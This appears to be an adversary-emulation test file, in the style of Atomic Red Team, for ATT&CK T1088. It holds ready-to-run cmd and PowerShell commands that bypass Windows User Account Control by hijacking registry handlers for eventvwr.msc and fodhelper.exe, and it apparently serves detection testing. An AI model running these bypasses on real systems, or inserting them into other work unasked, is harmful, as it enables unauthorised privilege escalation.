Marc
87 lines
3.0 KiB
YAML
87 lines
3.0 KiB
YAML
---
|
|
attack_technique: T1088
|
|
display_name: Bypass User Account Control
|
|
|
|
atomic_tests:
|
|
- name: Bypass UAC using Event Viewer
|
|
description: |
|
|
Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
|
|
|
supported_platforms:
|
|
- windows
|
|
|
|
input_arguments:
|
|
executable_binary:
|
|
description: Binary to execute with UAC Bypass
|
|
type: path
|
|
default: C:\Windows\System32\cmd.exe
|
|
|
|
executor:
|
|
name: command_prompt
|
|
command: |
|
|
reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
|
|
cmd.exe /c eventvwr.msc
|
|
|
|
- name: Bypass UAC using Event Viewer - PowerShell
|
|
description: |
|
|
PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
|
|
|
supported_platforms:
|
|
- windows
|
|
|
|
input_arguments:
|
|
executable_binary:
|
|
description: Binary to execute with UAC Bypass
|
|
type: path
|
|
default: C:\Windows\System32\cmd.exe
|
|
|
|
executor:
|
|
name: powershell
|
|
command: |
|
|
New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
|
|
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
|
|
Start-Process "C:\Windows\System32\eventvwr.msc"
|
|
|
|
- name: Bypass UAC using Fodhelper
|
|
description: |
|
|
Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
|
|
|
|
supported_platforms:
|
|
- windows
|
|
|
|
input_arguments:
|
|
executable_binary:
|
|
description: Binary to execute with UAC Bypass
|
|
type: path
|
|
default: C:\Windows\System32\cmd.exe
|
|
|
|
executor:
|
|
name: command_prompt
|
|
elevation_required: false
|
|
command: |
|
|
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
|
|
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute"
|
|
fodhelper.exe
|
|
|
|
- name: Bypass UAC using Fodhelper - PowerShell
|
|
description: |
|
|
PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
|
|
|
|
supported_platforms:
|
|
- windows
|
|
|
|
input_arguments:
|
|
executable_binary:
|
|
description: Binary to execute with UAC Bypass
|
|
type: path
|
|
default: C:\Windows\System32\cmd.exe
|
|
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
|
|
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
|
|
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
|
|
Start-Process "C:\Windows\System32\fodhelper.exe"
|